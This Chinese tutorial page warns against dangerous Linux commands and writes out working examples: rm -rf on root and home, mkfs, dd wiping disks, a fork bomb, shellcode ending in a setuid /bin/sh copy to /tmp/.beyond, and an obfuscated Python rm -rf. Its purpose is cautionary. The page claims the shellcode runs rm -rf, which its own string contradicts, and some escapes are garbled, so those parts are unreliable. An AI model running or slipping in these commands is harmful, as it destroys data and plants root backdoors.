学习啦 > 学习电脑 > 操作系统 > Linux教程 >

不可以运行的Linux命令有哪些

时间: 加城1195 分享

  Linux继承了Unix以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。在Linux给你最大程度自由度的同时,也使得破坏系统变得更加容易,其中有些命令可以直接破坏我们系统;下面小编就给大家具体讲述一下不可以运行的Linux命令;一起去看看吧。

  方法步骤

  下面的命令会删除你硬盘上的文件,rm 的 -r 递归删除,和 -f 强制删除是很危险的选项,即使日常操作,也会遇到误删文件的情况。

  sudo rm -rf / 删除根分区全部的文件

  sudo rm -rf . 删除当前目录下的所有文件

  sudo rm -rf * 同上

  rm -rf * or rm -rf *.* 同上

  rm -rf ~ / & 删除根分区和家目录,即使你不是root,家目录还是不能幸免。

  同样,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的话,运行下面的命令会擦除你的硬盘分区:

  sudo mkfs.xxxx

  dd 是强大的 IO 输入输出定向工具,如果使用不当,破坏性很大,不仅仅是当前分区,当前系统,有的时候是整个硬盘。

  sudo dd if=/dev/zero of=/dev/sda 全部硬盘清零。

  sudo dd if=/dev/sda of=/dev/sdb 用第一块硬盘的内容覆盖第二块的内容。

  sudo dd if=something of=/dev/sda 往硬盘上写垃圾数据。

  同理,直接把命令结果定向到硬盘上,相当于往硬盘上写垃圾数据:

  any_command > /dev/sda 用随意的数据破坏硬盘

  上面的 sda 、sdb 也可能是其他类似的名称。Linux 的 /dev 系统给操纵硬件提供了很方便和强大的功能,同时也使得破坏变得更容易。

  fork 命令打开一个子进程,如果把 fork 放在无限循环中,最终子进程会耗尽所有内存资源:

  :(){:|:&};:这段不知所云的符号,可以让 Shell 不停的 fork 子进程,最后导致内存耗尽,不得不重启,这不是 bug,只是 Shell 语句故意写成简写的形式而已。下面的同理:

  fork while fork

  有的时候,压缩包也是一个破坏来源~

  有的压缩包要求你解压到某个系统中已经存在的目录中,这时候你就要特别小心了,压缩包里面可能有成千上万的小文件,以各种文件名尝试覆盖你现有的文件。

  有的压缩包看起来很小,但是解压出来是上 GB 的垃圾数据,会充斥你的硬盘。

  从不正规网站下载的程序、脚本,同样会有包含恶意命令的危险,不可随便执行:

  sh ./some_filesh ./malicious-script

  载脚本要确保来源正规,如果有能力,可以阅读其代码。

  即使有源代码的程序,也不要随便编译执行:

  char esp[] __attribute__ ((section(".text"))) /* e.s.p

  release */

  = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"

  "xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"

  "xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"

  "x56x04xf7x56x08xf7x56x0cx83xc4x74x56"

  "x8dx73x08x56x53x54x59xb0x0bxcdx80x31"

  "xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"

  "x6ex2fx73x68x00x2dx63x00"

  "cp -p /bin/sh /tmp/.beyond; chmod 4755

  /tmp/.beyond;";

  上面看起来只是一堆没有意义的 16 进制数据,如果有人告诉你,运行这个程序你就可以不输入密码取得系统的 root 权限,你可不要相信他,上面的程序实际运行的是“rm -rf ~ / & ”。

  python 一类的脚本语言,同样可以拿来搞破坏:

  python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'

  这段程序实际上会执行 rm -rf *,也许你很奇怪上面程序结尾的 “sn!.sg! ” 是什么意思,实际上就是 rm -rf * 每个字母的下一个!

  补充:Linux基本命令

  ①ls 意为list 列出当前文件夹中的文件

  -l 显示文件的属性 可用ll来表示

  ②alias 别名 看看是否有别名的文件

  ③cd dir 跳跃目录 -P选项 将路径中的链接文件替换成链接指向的文件路径

  ④pwd 查看当前工作的文件夹名 使用-P的选项,会直接进入到其中,相当于cd

  相关阅读:Linuxshell脚本不执行问题实例分析

  shell脚本不执行问题:某天研发某同事找我说帮他看看他写的shell脚本,死活不执行,报错。我看了下,脚本很简单,也没有常规性的错误,报“:badinterpreter:Nosuchfileordirectory”错。看这错,我就问他是不是在windows下编写的脚本,然后在上传到linux服务器的……果然。原因:在DOS/windows里,文本文件的换行符为rn,而在*nix系统里则为n,所以DOS/Windows里编辑过的文本文件到了*nix里,每一行都多了个^M。解决:

  1)重新在linux下编写脚本;

  2)vi:%s/r//g:%s/^M//g(^M输入用Ctrl+v,Ctrl+m)附:sh-x脚本文件名,可以单步执行并回显结果,有助于排查复杂脚本问题。


不可以运行的Linux命令相关文章:

1.Linux停止命令继续执行的方法是什么

2.linux查看执行过的所有命令

3.Linux系统不能启动怎么办

4.linux命令行运行matlab

5.linux浏览器命令

4016651